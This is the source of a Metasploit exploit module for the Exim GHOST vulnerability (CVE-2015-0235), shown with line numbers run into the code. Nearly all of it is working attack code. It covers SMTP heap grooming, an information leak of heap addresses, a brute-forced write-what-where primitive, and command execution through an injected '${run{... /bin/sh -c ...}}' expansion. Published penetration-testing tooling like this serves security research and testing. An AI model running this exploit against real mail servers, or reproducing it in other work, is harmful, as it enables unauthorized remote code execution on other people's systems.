Path: blob/master/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',15'Description' => %q{16This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based17buffer overflow in the GNU C Library's gethostbyname functions on x8618and x86_64 GNU/Linux systems that run the Exim mail server.19},20'Author' => [21'Unknown', # Discovered and published by Qualys, Inc.22],23'License' => BSD_LICENSE,24'References' => [25['CVE', '2015-0235'],26['US-CERT-VU', '967332'],27['OSVDB', '117579'],28['BID', '72325'],29['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'],30['URL', 'https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability'],31['URL', 'http://r-7.co/1CAnMc0'] # MSF Wiki doc (this module's manual)32],33'DisclosureDate' => '2015-01-27',34'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)35'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload36'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X64], but ^37'Payload' => {38'Space' => 255, # the shorter the payload, the higher the probability of code execution39'BadChars' => "", # we encode the payload ourselves, because ^40'DisableNops' => true,41'ActiveTimeout' => 24 * 60 * 60 # we may need more than 150 s to execute our bind-shell42},43'Notes' => {44'AKA' => ['ghost'],45'Stability' => UNKNOWN_STABILITY,46'Reliability' => UNKNOWN_RELIABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48},49'Targets' => [['Automatic', {}]],50'DefaultTarget' => 051)52)5354register_options([55Opt::RPORT(25),56OptAddress.new('SENDER_HOST_ADDRESS', [57true,58'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil59])60])6162register_advanced_options([63OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil])64])65end6667def check68# for now, no information about the vulnerable state of the target69check_code = Exploit::CheckCode::Unknown7071begin72# not exploiting, just checking73smtp_connect(false)7475# malloc()ate gethostbyname's buffer, and76# make sure its next_chunk isn't the top chunk77789.times do79smtp_send("HELO ", "", "0", "", "", 1024 + 16 - 1 + 0)80smtp_recv(HELO_CODES)81end8283# overflow (4 bytes) gethostbyname's buffer, and84# overwrite its next_chunk's size field with 0x003030308586smtp_send("HELO ", "", "0", "", "", 1024 + 16 - 1 + 4)87# from now on, an exception means vulnerable88check_code = Exploit::CheckCode::Vulnerable89# raise an exception if no valid SMTP reply90reply = smtp_recv(ANY_CODE)91# can't determine vulnerable state if smtp_verify_helo() isn't called92return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/9394# realloc()ate gethostbyname's buffer, and95# crash (old glibc) or abort (new glibc)96# on the overwritten size field9798smtp_send("HELO ", "", "0", "", "", 2048 - 16 - 1 + 4)99# raise an exception if no valid SMTP reply100reply = smtp_recv(ANY_CODE)101# can't determine vulnerable state if smtp_verify_helo() isn't called102return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/103104# a vulnerable target should've crashed by now105check_code = Exploit::CheckCode::Safe106rescue107peer = "#{rhost}:#{rport}"108vprint_status("Caught #{$!.class}: #{$!.message}")109ensure110smtp_disconnect111end112113return check_code114end115116def exploit117unless datastore['FORCE_EXPLOIT']118print_status("Checking if target is vulnerable...")119fail_with(Failure::NotVulnerable, "Vulnerability check failed") if check != Exploit::CheckCode::Vulnerable120print_good("Target is vulnerable.")121end122information_leak123code_execution124end125126private127128HELO_CODES = '250|451|550'129ANY_CODE = '[0-9]{3}'130131MIN_HEAP_SHIFT = 80132MIN_HEAP_SIZE = 128 * 1024133MAX_HEAP_SIZE = 1024 * 1024134135# Exim136ALIGNMENT = 8137STORE_BLOCK_SIZE = 8192138STOREPOOL_MIN_SIZE = 256139140LOG_BUFFER_SIZE = 8192141BIG_BUFFER_SIZE = 16384142143SMTP_CMD_BUFFER_SIZE = 16384144IN_BUFFER_SIZE = 8192145146# GNU C Library147PREV_INUSE = 0x1148NS_MAXDNAME = 1025149150# Linux151MMAP_MIN_ADDR = 65536152153def fail_with(fail_subject, message)154message = "#{message}. For more info: http://r-7.co/1CAnMc0"155super(fail_subject, message)156end157158def information_leak159print_status("Trying information leak...")160leaked_arch = nil161leaked_addr = []162163# try different heap_shift values, in case Exim's heap address contains164# bad chars (NUL, CR, LF) and was mangled during the information leak;165# we'll keep the longest one (the least likely to have been truncated)16616716.times do168done = catch(:another_heap_shift) do169heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)170vprint_status("#{{ heap_shift: heap_shift }}")171172# write the malloc_chunk header at increasing offsets (8-byte step),173# until we overwrite the "503 sender not yet given" error message174175128.step(256, 8) do |write_offset|176error = try_information_leak(heap_shift, write_offset)177vprint_status("#{{ write_offset: write_offset, error: error }}")178throw(:another_heap_shift) if not error179next if error == "503 sender not yet given"180181# try a few more offsets (allows us to double-check things,182# and distinguish between 32-bit and 64-bit machines)183184error = [error]1851.upto(5) do |i|186error[i] = try_information_leak(heap_shift, write_offset + i * 8)187throw(:another_heap_shift) if not error[i]188end189vprint_status("#{{ error: error }}")190191_leaked_arch = leaked_arch192if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize193(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd194(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size195(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()196leaked_arch = ARCH_X64197198elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize199(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd200(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size201(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()202leaked_arch = ARCH_X86203204else205throw(:another_heap_shift)206end207vprint_status("#{{ leaked_arch: leaked_arch }}")208fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch209210# try different large-bins: most of them should be empty,211# so keep the most frequent fd_nextsize address212# (a pointer to the malloc_chunk itself)213214count = Hash.new(0)2150.upto(9) do |last_digit|216error = try_information_leak(heap_shift, write_offset, last_digit)217next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes218next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK219220count[error] += 1221end222vprint_status("#{{ count: count }}")223throw(:another_heap_shift) if count.empty?224225# convert count to a nested array of [key, value] arrays and sort it226error_count = count.sort { |a, b| b[1] <=> a[1] }227error_count = error_count.first # most frequent228error = error_count[0]229count = error_count[1]230throw(:another_heap_shift) unless count >= 6 # majority231leaked_addr.push({ error: error, shift: heap_shift })232233# common-case shortcut234if (leaked_arch == ARCH_X86 and error[0, 4] == error[4, 4] and error[8..-1] == "er not yet given") or235(leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)236leaked_addr = [leaked_addr.last] # use this one, and not another237throw(:another_heap_shift, true) # done238end239throw(:another_heap_shift)240end241throw(:another_heap_shift)242end243break if done244end245246fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?247fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?248249leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }250leaked_addr = leaked_addr.first # longest251error = leaked_addr[:error]252shift = leaked_addr[:shift]253254leaked_addr = 0255(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|256break if i >= error.length257258leaked_addr += error.unpack('C*')[i] * (2**(i * 8))259end260# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:261leaked_addr -= 2 * SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4 * (11 * 1024 + shift) + 3 * 1024 + STORE_BLOCK_SIZE262fail_with(Failure::NoTarget, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR263264print_good("Successfully leaked_arch: #{leaked_arch}")265print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")266@leaked = { arch: leaked_arch, addr: leaked_addr }267end268269def try_information_leak(heap_shift, write_offset, last_digit = 9)270fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)271fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0272fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0273fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/274275smtp_connect276277# bulletproof Heap Feng Shui; the hard part is avoiding:278# "Too many syntax or protocol errors" (3)279# "Too many unrecognized commands" (3)280# "Too many nonmail commands" (10)281282smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11 * 1024 + 13 - 1 + heap_shift)283smtp_recv(250)284285smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3 * 1024 + 13 - 1)286smtp_recv(250)287288smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3 * 1024 + 16 + 13 - 1)289smtp_recv(250)290291smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8 * 1024 + 16 + 13 - 1)292smtp_recv(250)293294smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5 * 1024 + 16 + 13 - 1)295smtp_recv(250)296297# overflow (3 bytes) gethostbyname's buffer, and298# overwrite its next_chunk's size field with 0x003?31299# ^ last_digit300smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12 * 1024 + 3 - 1 + heap_shift - MIN_HEAP_SHIFT)301begin # ^ 0x30 | PREV_INUSE302smtp_recv(HELO_CODES)303304smtp_send("RSET")305smtp_recv(250)306307smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15 * 1024)308smtp_recv(503, 'sender not yet given')309310smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10 * 1024 - 16 - 1 + write_offset)311smtp_recv(500, '\A500 unrecognized command\r\n\z')312313smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15 * 1024)314smtp_recv(500, '\A500 unrecognized command\r\n\z')315316smtp_send("DATA")317reply = smtp_recv(503)318319lines = reply[:lines]320fail if lines.size <= 3321fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"322fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"323fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"324325# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting326# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,327# but happens with lower probability)328329error = lines[+1..-3].join("")330error.sub!(/\A503-/mn, "")331error.sub!(/\r\n\z/mn, "")332error.gsub!(/\r\n503-/mn, "\n")333return error334rescue335return nil336end337ensure338smtp_disconnect339end340341def code_execution342print_status("Trying code execution...")343344# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:345# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure346# that rogue child processes cannot use them.347348fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded349fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?350# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),351# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).352encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')353# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"354command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'355vprint_status("Command: #{command}")356357# don't try to execute commands directly, try a very simple ACL first,358# to distinguish between exploitation-problems and shellcode-problems359360acldrop = "drop message="361message = rand_text_alpha(command.length - acldrop.length)362acldrop += message363364max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)365max_heap_addr = @leaked[:addr]366min_heap_addr = nil367survived = nil368369# we later fill log_buffer and big_buffer with alpha chars,370# which creates a safe-zone at the beginning of the heap,371# where we can't possibly crash during our brute-force372373# 4, because 3 copies of sender_helo_name, and step_len;374# start big, but refine little by little in case375# we crash because we overwrite important data376377helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4378loop do379sender_helo_name = "A" * helo_len380address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)381382# the 3 copies of sender_helo_name, allocated by383# host_build_sender_fullhost() in POOL_PERM memory384385helo_ip_size = ALIGNMENT +386sender_helo_name[+1..-2].length387388sender_fullhost_size = ALIGNMENT +389sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length390391sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?392sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :393sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])394).length395396# fit completely into the safe-zone397step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -398(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)399loop do400# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer401# with alpha chars, which creates another safe-zone at the end of the heap)402heap_addr = max_heap_addr403loop do404# try harder the first time around: we obtain better405# heap boundaries, and we usually hit our ACL faster406407(min_heap_addr ? 1 : 2).times do408# try the same heap_addr several times, but with different random offsets,409# in case we crash because our hijacked storeblock's length field is too small410# (we don't control what's stored at heap_addr)411412rand_offset = rand(max_rand_offset)413vprint_status("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")414reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)415vprint_status("#{{ reply: reply }}") if reply416417if reply and418reply[:code] == "550" and419# detect the parsed ACL, not the "still in text form" ACL (with "=")420reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn421print_good("Brute-force SUCCESS")422print_good("Please wait for reply...")423# execute command this time, not acldrop424reply = try_code_execution(helo_len, command, heap_addr + rand_offset)425vprint_status("#{{ reply: reply }}")426return handler427end428429if not min_heap_addr430if reply431fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE432survived = heap_addr433else434if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE435# survived should point to our safe-zone at the beginning of the heap436fail_with(Failure::UnexpectedReply, "never survived") if not survived437print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"438min_heap_addr = survived439end440end441end442end443444heap_addr -= step_len445break if min_heap_addr and heap_addr < min_heap_addr446end447448break if step_len < 1024449450step_len /= 2451end452453helo_len /= 2454break if helo_len < 1024455# ^ otherwise the 3 copies of sender_helo_name will456# fit into the current_block of POOL_PERM memory457end458fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")459end460461# our write-what-where primitive462def try_code_execution(len, what, where)463fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len464fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0465466x86 = (@leaked[:arch] == ARCH_X86)467min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))468heap_shift = min_heap_shift + rand(1024 - min_heap_shift)469last_digit = 1 + rand(9)470471smtp_connect472473# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars474smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -475"501 : sender address must contain a domain\r\n\0".length)476smtp_recv(501, 'sender address must contain a domain')477478smtp_send("RSET")479smtp_recv(250)480481# bulletproof Heap Feng Shui; the hard part is avoiding:482# "Too many syntax or protocol errors" (3)483# "Too many unrecognized commands" (3)484# "Too many nonmail commands" (10)485486# / 5, because "\x7F" is non-print, and:487# ss = store_get(length + nonprintcount * 4 + 1);488smtp_send("BAD1 ", "", "\x7F", "", "", (19 * 1024 + heap_shift) / 5)489smtp_recv(500, '\A500 unrecognized command\r\n\z')490491smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5 * 1024 + 13 - 1)492smtp_recv(250)493494smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3 * 1024 + 13 - 1)495smtp_recv(250)496497smtp_send("BAD2 ", "", "\x7F", "", "", (13 * 1024 + 128) / 5)498smtp_recv(500, '\A500 unrecognized command\r\n\z')499500smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3 * 1024 + 16 + 13 - 1)501smtp_recv(250)502503# overflow (3 bytes) gethostbyname's buffer, and504# overwrite its next_chunk's size field with 0x003?31505# ^ last_digit506smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5 * 1024 + 64 + 3 - 1)507smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE508509# auth_xtextdecode() is the only way to overwrite the beginning of a510# current_block of memory (the "storeblock" structure) with arbitrary data511# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).512# this shapes the rest of our exploit: we overwrite the beginning of the513# current_block of POOL_PERM memory with the current_block of POOL_MAIN514# memory (allocated by auth_xtextdecode()).515516auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)517(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i * 8)) & 255) }518auth_prefix += "."519520# also fill log_buffer with alpha chars521smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)522smtp_recv(501, 'invalid data for AUTH')523524smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)525begin526reply = smtp_recv(ANY_CODE)527return reply if reply[:code] !~ /#{HELO_CODES}/528return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/529530smtp_send("MAIL FROM:<>")531reply = smtp_recv(ANY_CODE)532return reply if reply[:code] != "250"533534smtp_send("RCPT TO:<postmaster>")535reply = smtp_recv536return reply537rescue538return nil539end540ensure541smtp_disconnect542end543544DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'545DOT = '[.]'546547def smtp_connect(exploiting = true)548fail_with(Failure::Unknown, "sock isn't nil") if sock549550connect551fail_with(Failure::Unknown, "sock is nil") if not sock552@smtp_state = :recv553554# Receiving the banner (but we don't really need to check it)555smtp_recv(220)556return if not exploiting557558sender_host_address = datastore['SENDER_HOST_ADDRESS']559if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/560fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?561fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")562end563sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"564565# turn helo_seen on (enable the MAIL command)566# call smtp_verify_helo() (force fopen() and small malloc()s)567# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())568smtp_send("HELO #{sender_host_address_octal}")569reply = smtp_recv(HELO_CODES)570571if reply[:code] != "250"572fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/573fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")574end575576if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn577fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3578smtp_active_hostname = $1579sender_host_name = $2580581if sender_host_name =~ /\A(.*) at (\S*)\z/mn582sender_host_name = $2583sender_ident = $1584else585sender_ident = nil586end587fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal588589else590# can't double-check sender_host_address here, so only for advanced users591fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']592# worst-case scenario593smtp_active_hostname = "A" * NS_MAXDNAME594sender_host_name = "A" * NS_MAXDNAME595sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));596end597598_sender = @sender599@sender = {600hostaddr: sender_host_address,601hostaddr8: sender_host_address_octal,602hostname: sender_host_name,603ident: sender_ident,604__smtp_active_hostname: smtp_active_hostname605}606fail_with(Failure::BadConfig, "sender changed") if _sender and _sender != @sender607608# avoid a future pathological case by forcing it now:609# "Do NOT free the first successor, if our current block has less than 256 bytes left."610smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)611smtp_recv(501, 'sender address must contain a domain')612613smtp_send("RSET")614smtp_recv(250, 'Reset OK')615end616617def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)618fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send619@smtp_state = :sending620621if not arg_pattern622fail_with(Failure::BadConfig, "prefix is nil") if not prefix623fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length624command = prefix625626else627fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length628length = arg_length - arg_prefix.length - arg_suffix.length629fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0630argument = arg_prefix631case arg_pattern632when String633argument += arg_pattern * (length / arg_pattern.length)634argument += arg_pattern[0, length % arg_pattern.length]635when Method636argument += arg_pattern.call(length)637end638argument += arg_suffix639fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length640command = prefix + argument + suffix641end642643fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0644fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE645command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer646647# the following loop works around a bug in the put() method:648# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"649# (or send_idx and/or send_len could be removed altogether, like here)650651while command and not command.empty?652num_sent = sock.put(command)653fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0654fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length655command = command[num_sent..-1]656end657658@smtp_state = :recv659end660661def smtp_recv(expected_code = nil, expected_data = nil)662fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :recv663@smtp_state = :recving664665failure = catch(:failure) do666# parse SMTP replies very carefully (the information667# leak injects arbitrary data into multiline replies)668669data = ""670while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn671begin672more_data = sock.get_once673rescue674throw(:failure, "Caught #{$!.class}: #{$!.message}")675end676throw(:failure, "no more data") if more_data.nil?677throw(:failure, "no more data") if more_data.empty?678data += more_data679end680681throw(:failure, "malformed reply (count)") if data.count("\0") > 0682lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)683throw(:failure, "malformed reply (empty)") if lines.empty?684685code = nil686lines.size.times do |i|687lines[i].sub!(/\A\r\n/mn, "")688lines[i] += "\r\n"689690if i == 0691code = lines[i][0, 3]692throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn693if expected_code and code !~ /\A(#{expected_code})\z/mn694throw(:failure, "unexpected #{code}, expected #{expected_code}")695end696end697698line_begins_with = lines[i][0, 4]699line_should_begin_with = code + (i == lines.size - 1 ? " " : "-")700701if line_begins_with != line_should_begin_with702throw(:failure, "line begins with #{line_begins_with}, " \703"should begin with #{line_should_begin_with}")704end705end706707throw(:failure, "malformed reply (join)") if lines.join("") != data708if expected_data and data !~ /#{expected_data}/mn709throw(:failure, "unexpected data")710end711712reply = { code: code, lines: lines }713@smtp_state = :send714return reply715end716717fail_with(Failure::UnexpectedReply, "#{failure}") if expected_code718return nil719end720721def smtp_disconnect722disconnect if sock723fail_with(Failure::Unknown, "sock isn't nil") if sock724@smtp_state = :disconnected725end726end727728729